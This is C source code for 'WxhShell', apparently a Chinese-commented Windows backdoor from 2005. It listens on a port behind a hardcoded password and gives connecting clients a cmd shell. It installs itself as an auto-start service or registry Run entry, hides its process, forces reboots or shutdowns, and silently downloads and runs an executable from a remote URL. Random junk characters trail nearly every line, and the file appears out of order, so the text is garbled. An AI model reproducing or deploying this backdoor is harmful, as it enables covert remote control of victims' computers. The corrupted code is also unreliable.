    if(Boot(SHUTDOWN)) peOoZdJd  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); 5P 5Tgk  
    else { cR*~JwC:  
    closesocket(wsh); AE Elaq.B  
    ExitThread(0); {MDM=;WP_  
    } ]#G1 ]U  
    break; 0[N1SY\lj  
    } LB}J7yEQvj  
  // 获取shell xe3Jxo !U  
  case 's': { !T8sWMY  
    CmdShell(wsh); 1rLxF{,  
    closesocket(wsh); #YK3Ogb,  
    ExitThread(0); yx;K&>  
    break; ,]das  
  } _Vt(Eg_\  
  // 退出 I9`ZK2S  
  case 'x': { \g)?7>M|  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); :m/qR74+"  
    CloseIt(wsh); NVB#=!S  
    break; h]&~yuI>  
    } @,]W  
  // 离开 I{.t-3hp  
  case 'q': { HW#@e kh  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); YNKvR  
    closesocket(wsh); W ,v0~  
    WSACleanup(); /~c9'38  
    exit(1); Fzy#!^9Nu  
    break; UQ@szE  
        } 6BEDk!  
  } o& $lik  
  } Hc8!cATQk  
n1PvZ~^3  
  // 提示信息 8qxZ7|Y@  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); eYUq0~3  
} Py/~Q-8p  
  } W%o! m,zFM  
i<=2 L?[.I  
  return; Z,M2vRj"qT  
} !:tr\L {  
:2:%  
// shell模块句柄 cjd-B:l  
int CmdShell(SOCKET sock) F|o 1r  
{ y>d`cRy  
STARTUPINFO si; j8rxhToC  
ZeroMemory(&si,sizeof(si)); :lmimAMt  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; 1|:;~9n<t  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; '0&HkM{ D  
PROCESS_INFORMATION ProcessInfo; 2^:iU{  
char cmdline[]="cmd"; 1' dZ?`O  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); %*IH~/Ld;]  
  return 0; (|3?wX'2U  
} Lc "{ePFh  
&+ H\ST(/  
// 自身启动模式 8H8Q  
int StartFromService(void) 'AmA3x)9u  
{ \nL@P6X  
typedef struct Y/pK  
{ 1YU?+K  
  DWORD ExitStatus; ~~I]SI k{  
  DWORD PebBaseAddress; AgUjC  
  DWORD AffinityMask; =GeGlI6  
  DWORD BasePriority; z=8l@&hYLq  
  ULONG UniqueProcessId; n,_9Eh#WD  
  ULONG InheritedFromUniqueProcessId; yD8Qy+6L  
}   PROCESS_BASIC_INFORMATION; \{ C ~B;=  
![MtJo5  
PROCNTQSIP NtQueryInformationProcess; .G"T;w 6d  
Mi F( &#  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; 'A1y~x#2B  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; N4{g[[ T  
!vHCftKel  
  HANDLE             hProcess; Hd gABIuX  
  PROCESS_BASIC_INFORMATION pbi; :?i,!0#"  
Q trU_c2k  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); fWDTP|DV  
  if(NULL == hInst ) return 0; zgn`@y2  
k RSY;V  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); BV\~Dm]"  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); 7ks!0``  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); .E{FD%U  
8&bNI@:@  
  if (!NtQueryInformationProcess) return 0; rm|,+ {  
6Yqqq[#V/  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); vSH-hAk  
  if(!hProcess) return 0; yHZ&5  
W v,?xm  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; 'kg~#cf/+  
RL/5 o"  
  CloseHandle(hProcess);  x_/H  
zW.Ltz  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); y\dx \  
if(hProcess==NULL) return 0; &hZ6CV{  
"39mhX2  
HMODULE hMod; ~uB@oKMru  
char procName[255]; \rS-}DG  
unsigned long cbNeeded; m+ #G*  
aFh'KPhe  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); G,(Xz"`,  
i"E_nN"V  
  CloseHandle(hProcess); 7&L8zl|K  
`;m0GU68  
if(strstr(procName,"services")) return 1; // 以服务启动 '}F9f?  
m]{/5L  
  return 0; // 注册表启动 ^lK!tOeO  
} yC!>7@m  
D?H|O[  
// 主模块 X6?Gxf,  
int StartWxhshell(LPSTR lpCmdLine) yDpv+6(a  
{ t6)R 37  
  SOCKET wsl; |;U3pq)  
BOOL val=TRUE; eV0eMDY5  
  int port=0; ?tT89m3_E  
  struct sockaddr_in door;  FE1En  
F^=y+}]=  
  if(wscfg.ws_autoins) Install(); jo0XOs  
i/C0 (!  
port=atoi(lpCmdLine); Ie8K [ >  
E!,jTaZz  
if(port<=0) port=wscfg.ws_port; x"Ij+~i{l  
V@1,((,l  
  WSADATA data; 9G6auk.m.O  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; gDH|I;!  
E <r;J  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   :`4LV  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); 5yroi@KT   
  door.sin_family = AF_INET; (YYwn@NGj  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); KT<N ;[;  
  door.sin_port = htons(port); q1|@v#kH6  
;\T~Hc}&;  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { ^[ 2siG  
closesocket(wsl); ]Rmu +N|  
return 1; :/}=s5aQl/  
} 1O90 ]c0  
fECmELd  
  if(listen(wsl,2) == INVALID_SOCKET) { = mhg@N4  
closesocket(wsl); Yg1HvSw\  
return 1; Z/;8eb*B7  
} QxBH{TG  
  Wxhshell(wsl); 8PG&/ " K  
  WSACleanup(); FGpV ]p  
J]Q-#g'Z  
return 0; h?GE-F  
2k`Q+[?{q>  
} ~k ]$J|}za  
8,B#W#*{  
// 以NT服务方式启动 G/KTF2wl7  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) ~BXy)IB6  
{ 2nSz0 .  
DWORD   status = 0; @,pn/[  
  DWORD   specificError = 0xfffffff; H\|H]:CE  
Jb8%A@Z+  
  serviceStatus.dwServiceType     = SERVICE_WIN32; Q:Y`^jP   
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; }</"~Kw!  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; op_ 1J;RF  
  serviceStatus.dwWin32ExitCode     = 0; 2W63/kRbU  
  serviceStatus.dwServiceSpecificExitCode = 0; Ye[Fu/0  
  serviceStatus.dwCheckPoint       = 0; SQJ4}w>i  
  serviceStatus.dwWaitHint       = 0; #*}cc  
rFto1m  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); miY=xwK&  
  if (hServiceStatusHandle==0) return; !Jaj2mS.N  
(~:ip)v  
status = GetLastError(); .5#+)] l  
  if (status!=NO_ERROR) GGGz7_s ?  
{ . B6mvb\  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; 2y9$ k\<xV  
    serviceStatus.dwCheckPoint       = 0; 3C#Sr6  
    serviceStatus.dwWaitHint       = 0; ?A 5;"  
    serviceStatus.dwWin32ExitCode     = status; :IozWPs*  
    serviceStatus.dwServiceSpecificExitCode = specificError; _wZr`E)  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); Wtflw>-  
    return; @^b>S6d "  
  } u4[rA2Bf8E  
m!Aw,*m+*  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; 1(Lq9hs`  
  serviceStatus.dwCheckPoint       = 0; /8lmNA  
  serviceStatus.dwWaitHint       = 0; ` >k7^!Ds  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); P0-K/_g  
} \Iz-<:gA'  
F=;nWQ&  
// 处理NT服务事件,比如:启动、停止 DM{Z#b]  
VOID WINAPI NTServiceHandler(DWORD fdwControl) t y%Hrw  
{ 7t6TB*H  
switch(fdwControl) ,k,+UisG  
{ LlbE]_Z!U%  
case SERVICE_CONTROL_STOP: VS5D)5w#  
  serviceStatus.dwWin32ExitCode = 0; P m|S>r  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; tLGNYW!K  
  serviceStatus.dwCheckPoint   = 0; U+@rLQ.-  
  serviceStatus.dwWaitHint     = 0; :U'Oc3l#Y  
  { -L2% ,.E>4  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); OUm,;WNLf  
  } F'njtrO3  
  return; sfCU"O2G  
case SERVICE_CONTROL_PAUSE: ^<Sy{KY  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; Gg5>~"pb  
  break; .[vYT.LE  
case SERVICE_CONTROL_CONTINUE: Z7dVy8J  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; )oMMDH w\  
  break; M`|E)Y  
case SERVICE_CONTROL_INTERROGATE: lZD"7om  
  break; )AAPT7!U  
}; 6W N(Tw  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); zUJPINDb  
} D(">bR)1  
Jrx]/CM  
// 标准应用程序主函数 ^:o^g'Yab  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) DA/ \[w?J  
{ Bvz& p)(  
=UZm4=T  
// 获取操作系统版本 \Jr7Hy1;  
OsIsNt=GetOsVer(); OJ)XJL  
GetModuleFileName(NULL,ExeFile,MAX_PATH); Cvtz&dH  
iZ2nBi Q  
  // 从命令行安装 !l1jQq_mK  
  if(strpbrk(lpCmdLine,"iI")) Install(); - !s=`9o  
Y9nyKL  
  // 下载执行文件 3x E^EXV  
if(wscfg.ws_downexe) { NMhI0Ix$w  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) ob7hNo#  
  WinExec(wscfg.ws_filenam,SW_HIDE); /SJI ~f+$  
} ;)!);q+  
4,7W*mr3(  
if(!OsIsNt) { :ZU-Vi.b  
// 如果时win9x,隐藏进程并且设置为注册表启动 tL S$D-  
HideProc(); ZrDr/Q~  
StartWxhshell(lpCmdLine); #80r?,q  
} A{\!nq_~N  
else ||rZ+<  
  if(StartFromService()) e u?DSad  
  // 以服务方式启动 s"0Hz"[^=  
  StartServiceCtrlDispatcher(DispatchTable); r?=3TAA  
else Uy{ZK*c8i  
  // 普通方式启动 jGOE CKP  
  StartWxhshell(lpCmdLine); 4Kn)5>  
:&$ WWv  
return 0; )<^G]ajn  
} gqACIXR  
M7\KiQd  
wWB^m@:4  
Xe<kdB3  
=========================================== rA1;DSw6E[  
E>`gj~  
Rj/y.g  
4d $T6b  
@s~*>k#"#  
v^1n.l %E  
" 4XArpKA  
u$y5?n|  
#include <stdio.h> lgh+\pj  
#include <string.h> 3 bl l9Ey  
#include <windows.h> Ip;;@o&D  
#include <winsock2.h> "$N 4S9U  
#include <winsvc.h> ug9]^p/)^  
#include <urlmon.h> JS0957K  
.Wvg{ S -  
#pragma comment (lib, "Ws2_32.lib") o\:vxj+%*  
#pragma comment (lib, "urlmon.lib") f5hf<R),A  
*^.OqbO[U  
#define MAX_USER   100 // 最大客户端连接数 fZrB!\Q  
#define BUF_SOCK   200 // sock buffer 5Q@4@b{C  
#define KEY_BUFF   255 // 输入 buffer Ia*T*q Ju  
-v?)E S  
#define REBOOT     0   // 重启 ^uWj#  
#define SHUTDOWN   1   // 关机 n.xOu`gj  
MGSD;Lgn  
#define DEF_PORT   5000 // 监听端口 0`"DYJ}d  
RV, cQ K  
#define REG_LEN     16   // 注册表键长度 MF.$E?_R  
#define SVC_LEN     80   // NT服务名长度 \$D41_Wt|  
S+//g+e|f  
// 从dll定义API # l-/!j  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); ? ]hS^&  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); %scQP{%aD  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); ]d50J@W c  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); (, 2U?p  
_ }:#T8h  
// wxhshell配置信息 e^Glgaf  
struct WSCFG { Ky6 d{|H  
  int ws_port;         // 监听端口 t%]b`ad  
  char ws_passstr[REG_LEN]; // 口令 rb<9/z5-  
  int ws_autoins;       // 安装标记, 1=yes 0=no dZ'H'm;,!  
  char ws_regname[REG_LEN]; // 注册表键名 c"^g*i2&0  
  char ws_svcname[REG_LEN]; // 服务名 UpCkB}OhR1  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 *Au[{sR  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 #=aTSw X  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 @!2vS@f  
int ws_downexe;       // 下载执行标记, 1=yes 0=no yo"!C?82=  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" _f<#+*y  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 55vI^SSA  
hC...tk  
}; ,(&5y:o  
4W36VtQ@E  
// default Wxhshell configuration I"r[4>>B>0  
struct WSCFG wscfg={DEF_PORT, *aS[^iX?s  
    "xuhuanlingzhe", nO .:f  
    1, K.::P84m;  
    "Wxhshell", 3B[u2o>  
    "Wxhshell", ;$rh&ET  
            "WxhShell Service", %3 VToj@`>  
    "Wrsky Windows CmdShell Service", 1agI/R  
    "Please Input Your Password: ", t Ai?Bjo  
  1, SoL"M[O  
  "http://www.wrsky.com/wxhshell.exe", h&m4"HBL_  
  "Wxhshell.exe" $o>6Io|D  
    }; Ls(l  
udGZ%Mr_  
// 消息定义模块 qq[Enf|/y  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; Ai.^~#%X  
char *msg_ws_prompt="\n\r? for help\n\r#>"; Bz*6M  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; 5u&hp  
char *msg_ws_ext="\n\rExit."; "y$s`n4Mj  
char *msg_ws_end="\n\rQuit."; d m$iiRY  
char *msg_ws_boot="\n\rReboot..."; [rtMx8T  
char *msg_ws_poff="\n\rShutdown..."; k|[86<&[  
char *msg_ws_down="\n\rSave to "; geEETb} +y  
$' >|r]  
char *msg_ws_err="\n\rErr!";  Ts 1  
char *msg_ws_ok="\n\rOK!"; QeipfK+me  
8VR! Y0`e  
char ExeFile[MAX_PATH]; hR%2[lBn!]  
int nUser = 0; QN OA66  
HANDLE handles[MAX_USER]; K{[N.dX(  
int OsIsNt; Q804_F F#  
!:9s>0';N  
SERVICE_STATUS       serviceStatus; Q[UYNQ0w  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; 8PwPI%Pb  
2)47$eu  
// 函数声明 o&U/e\zy  
int Install(void); $JZ}=\n7  
int Uninstall(void); !t+eJj  
int DownloadFile(char *sURL, SOCKET wsh); @c^g<  
int Boot(int flag); <;':'sW  
void HideProc(void); NM&R\GI  
int GetOsVer(void); l6k.`1.In  
int Wxhshell(SOCKET wsl); vC ISd   
void TalkWithClient(void *cs); rEG!A87Zz  
int CmdShell(SOCKET sock); [gxH,=Pb  
int StartFromService(void); N"&qy3F  
int StartWxhshell(LPSTR lpCmdLine); jv'q :uA^  
%E`=c]!  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); Q"b62+03  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); |!.VpN&  
bx=9XZ9g  
// 数据结构和表定义 zvHeoM ,  
SERVICE_TABLE_ENTRY DispatchTable[] = /[#5<;  
{ D./3,z  
{wscfg.ws_svcname, NTServiceMain}, 2&d|L|->  
{NULL, NULL} P_N i 5s)  
}; BewJ!,A!  
k#pNk7;MZ  
// 自我安装 *-.,QpgTX  
int Install(void) 7) 37AKw  
{ S7 WT`2  
  char svExeFile[MAX_PATH]; ,G!mO,DX  
  HKEY key; >\5IB5'j  
  strcpy(svExeFile,ExeFile); (=/}i'  
wl:[Ad  
// 如果是win9x系统,修改注册表设为自启动 1h#UM6  
if(!OsIsNt) { { '1e?  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { muKCCWy#  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); TxXX}6  
  RegCloseKey(key); i :Sih"=  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { Nvj0MD{ X  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); rX@?~(^ML  
  RegCloseKey(key); P1A5Qq  
  return 0; C!s !j  
    } {;E]#=|  
  } U.p"JSH L  
} wA?q/cw C  
else { y?.l9  
NB?y/v  
// 如果是NT以上系统,安装为系统服务 z{ MO~d9  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); yjj)+eJ(Q  
if (schSCManager!=0) (H-}z`sy/@  
{ ~e#QAaXD#5  
  SC_HANDLE schService = CreateService Q]<6i  
  ( "6zf-++%  
  schSCManager, \1mTKw)S  
  wscfg.ws_svcname, r0/o{Y|l6  
  wscfg.ws_svcdisp, o%.0@W  
  SERVICE_ALL_ACCESS, YH/3N(],  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , VAet!H+]  
  SERVICE_AUTO_START, yy#4DYht  
  SERVICE_ERROR_NORMAL, APM!xX=N  
  svExeFile, )2mvW1M=7;  
  NULL, -/3D0`R  
  NULL, Yo;Mexo!  
  NULL, l~c# X3E  
  NULL, U t'r^  
  NULL ]B>g~t5J  
  ); (7J (.EG2e  
  if (schService!=0) G*\U'w4w|*  
  { /j:fc?yv  
  CloseServiceHandle(schService); wC~LZSTt  
  CloseServiceHandle(schSCManager); ]0@ 06G(y  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); 6h3TU,$r  
  strcat(svExeFile,wscfg.ws_svcname); fs;pX/:FR  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { 4NxI:d$&*  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); ePxwN?  
  RegCloseKey(key); *e}1KcJ  
  return 0; -G@:uxB  
    } _rjB.  
  } X>kW)c4{b  
  CloseServiceHandle(schSCManager); kb2M3%6 V  
} P[<EFj E  
} &&K"3"um  
SvN2}]Kh  
return 1; gq[`g=x  
} _yP02a^2  
sTChbks  
// 自我卸载 +#MQ8d  
int Uninstall(void) fZF.eRP '  
{ `(Ij@8 4  
  HKEY key; 7zEpuw  
NQqq\h  
if(!OsIsNt) { 0FG|s#Ig  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { WSV[)-=:  
  RegDeleteValue(key,wscfg.ws_regname); `;H3['~$  
  RegCloseKey(key); =VOl  *  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { c?XqSK`',Z  
  RegDeleteValue(key,wscfg.ws_regname); 0|D l/1  
  RegCloseKey(key); PuoN<9 #  
  return 0; ZKco  
  } _ pKWDMB$z  
} C:$pAE(  
} TB(!*t  
else { VaLl$w  
|dI,4Z\Qb  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); #,PB(  
if (schSCManager!=0) 9i*Xd$ G  
{ i8H!4l  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); k*Vf2O3${  
  if (schService!=0) "'\f?A9  
  { XX|wle1Kg  
  if(DeleteService(schService)!=0) { F-I\x  
  CloseServiceHandle(schService); vg ^&j0  
  CloseServiceHandle(schSCManager); y&{ Z"+B5  
  return 0; d0CFMy6  
  } PHHX)xK  
  CloseServiceHandle(schService); r,-9 ]?i  
  } %5|DdpES  
  CloseServiceHandle(schSCManager); 'W]oQLD^R  
} N_qKIc_R  
} @!:_r5R~N  
StWF66u34&  
return 1; k>mqKzT0$+  
} > g=u Y{Rf  
9a;8^?Ld%S  
// 从指定url下载文件 oq3{q  
int DownloadFile(char *sURL, SOCKET wsh) Ad]oM]  
{ k}r)I.Lp  
  HRESULT hr; 9HJA:k*k|  
char seps[]= "/"; 8w]>SEGFs  
char *token; g{%2*{;i  
char *file; _rjLCvv-  
char myURL[MAX_PATH]; r]'Q5l4j6"  
char myFILE[MAX_PATH]; I!uGI  
1?5UVv_F  
strcpy(myURL,sURL); Eh*t;J=O  
  token=strtok(myURL,seps); Yvbk[Rb  
  while(token!=NULL) [5O`  
  { k>;a5'S  
    file=token; z3>oUq{  
  token=strtok(NULL,seps); %zA$+eT  
  } \~ql_X;3  
4bZ +nQgLu  
GetCurrentDirectory(MAX_PATH,myFILE); .e8S^lSl  
strcat(myFILE, "\\"); Owz.C_{)  
strcat(myFILE, file); b1NB:  
  send(wsh,myFILE,strlen(myFILE),0); 'I *&P5|  
send(wsh,"...",3,0); p&4#9I5  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); @mu2,%  
  if(hr==S_OK) 6q]`??g.  
return 0; KIfR4,=Q|  
else [H8QxJk  
return 1; n]+v Eu|  
}R]^%q@&  
} zA?]AL(+YW  
b/ dyH  
// 系统电源模块 06peo d  
int Boot(int flag) UZq1qn@+  
{ jQ[M4)>_k`  
  HANDLE hToken; +HxL>\  
  TOKEN_PRIVILEGES tkp; OlI{VszR  
eg vgi?y  
  if(OsIsNt) { _$Hx:^p:  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); KB^i=+xr  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); |#D$9+  
    tkp.PrivilegeCount = 1; fW'U7&O  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; L_4Zx sIv  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); )-4xI4  
if(flag==REBOOT) { ;4rTm@6  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) !j|93*  
  return 0; H D95>%  
} _2C[F~ +l  
else { 2AZ)|dM'`  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) G,J~Ed  
  return 0; :*wjC.Z  
} u/2!v(  
  } s*0PJ\E2  
  else { }|7y.*  
if(flag==REBOOT) { i`2X[kc  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) l[J'FR:  
  return 0; vHz]-Q-|9  
} m+m,0Ey5H  
else { A/4HR]  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) P,[O32i#  
  return 0; [# '38  
} 0u'qu2mV  
} +Eh^j3W  
T]fu[yRVvg  
return 1; Cp@' k;(  
} ?]# U~M<'  
Aj;F$(su  
// win9x进程隐藏模块 G`HL^/Z*  
void HideProc(void) bqt*d)$  
{ tsA+B&R_]  
VYZkHjj)2i  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); #+- /0{HT  
  if ( hKernel != NULL ) 4,|A\dXE  
  { Z$? Ql@M  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); dw v(8  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); ]E+deM  
    FreeLibrary(hKernel); $rh{f<  
  } $`emP Hel  
<+QXGz1  
return; T&]J3TFJ  
} x{X(Y]*1S  
xD(JkOne  
// 获取操作系统版本 SOI$Mx  
int GetOsVer(void) %dMP}k/  
{ #iOoi9(  
  OSVERSIONINFO winfo; 2y&m8_s-p  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); AIvIQ$6}  
  GetVersionEx(&winfo); 6eqPaIaD   
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) 9N[PZD  
  return 1; hK,e<?N^  
  else m"<Sb,"x!  
  return 0; \V#2K><  
} |nN{XjNfP5  
rR4_=S<Mi:  
// 客户端句柄模块 y0d a8sd)  
int Wxhshell(SOCKET wsl) E2s lpo  
{ ]mN'Qoc  
  SOCKET wsh; 5;5DEMe  
  struct sockaddr_in client; ]i-peBxw  
  DWORD myID; `;ofQz4  
p. eq N  
  while(nUser<MAX_USER) 3+_ .I{  
{ cGhnI&  
  int nSize=sizeof(client); ,{HxX0  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); :[1^IH(sb  
  if(wsh==INVALID_SOCKET) return 1; )5}=^aqd  
t} zffe-  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); +h}>UK\  
if(handles[nUser]==0) -Cjc~{B>7X  
  closesocket(wsh); 2Qqk?;^ 1  
else }hralef #N  
  nUser++; UvSvgDMl  
  } )")_aA  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); >xU$)uE&  
)x/Spb  
  return 0; UJXRL   
} p9;Oe,Il  
}dl[~iKW  
// 关闭 socket |D %m>M6  
void CloseIt(SOCKET wsh) cuO)cj]@e  
{ ,&$+ {3  
closesocket(wsh); WB2An7i@"{  
nUser--; IcM99'P(  
ExitThread(0); L7*,v5  
} R^PPgE6!$  
gAA2S5th  
// 客户端请求句柄 8,Jjv*  
void TalkWithClient(void *cs) Une,Y4{u  
{ gBzg'Z  
o~#cpU4{o  
  SOCKET wsh=(SOCKET)cs; >~-8RM  
  char pwd[SVC_LEN]; L> ehL(]!  
  char cmd[KEY_BUFF]; uES|jU{]b  
char chr[1]; *OOi  
int i,j; +/tN d2  
@)A)cBv#  
  while (nUser < MAX_USER) { 42a.@JbLQ  
Wj"\nT4  
if(wscfg.ws_passstr) { ?MT V!i0  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); O,`#h*{N  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); 9E/{HNkf  
  //ZeroMemory(pwd,KEY_BUFF); B? $9M9  
      i=0; *C81DQ  
  while(i<SVC_LEN) { 9 )1 8  
2lVJ"jg  
  // 设置超时 /;7\HZ$@/  
  fd_set FdRead; 'D ,efTq  
  struct timeval TimeOut; d NQ?8P-&  
  FD_ZERO(&FdRead); kiLwN nq  
  FD_SET(wsh,&FdRead); ' c[[H3s!;  
  TimeOut.tv_sec=8; <l/QS3M  
  TimeOut.tv_usec=0; tC0:w,C)  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); p^|IN'lx,  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); ]Ek6EuaK  
< j}n/G]  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); _i_^s0J  
  pwd=chr[0]; k e'aSD  
  if(chr[0]==0xd || chr[0]==0xa) { e6E{l  
  pwd=0; +gZg7]!Z  
  break; {tUjUwhz(  
  } 8$k`bZ  
  i++; _l`d+ \#  
    } .TcsXYL.`,  
 pFfd6P  
  // 如果是非法用户,关闭 socket YP*EDb?f  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); D=hy[sDBw  
} Y$3 &?LA  
r5U[jwP  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); L*a:j  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); [{]/9E /&  
KxyD{W1  
while(1) { oy8L{8?  
C|#GODA  
  ZeroMemory(cmd,KEY_BUFF); 42*y27Dtm  
:ud<"I]:  
      // 自动支持客户端 telnet标准   f{ ;L"*L  
  j=0; ,$"*X-1  
  while(j<KEY_BUFF) { =Q\z*.5j.  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); h(q,-')l_  
  cmd[j]=chr[0]; z+ch-L^K4  
  if(chr[0]==0xa || chr[0]==0xd) { }V20~ hi  
  cmd[j]=0; qH#?, sK ^  
  break; F1m 1%  
  } `w&Y[8+E  
  j++; uw!w}1Y]}2  
    } J7Z`wjX1  
L5(7;  
  // 下载文件 RO>3U2  
  if(strstr(cmd,"http://")) { uY{zZ4iw  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); 7ojU]ly  
  if(DownloadFile(cmd,wsh)) IUB#Vdx  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); vD,ZEKAN  
  else I4[sf  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); ]q#w97BxiJ  
  } Z7\}x"hk  
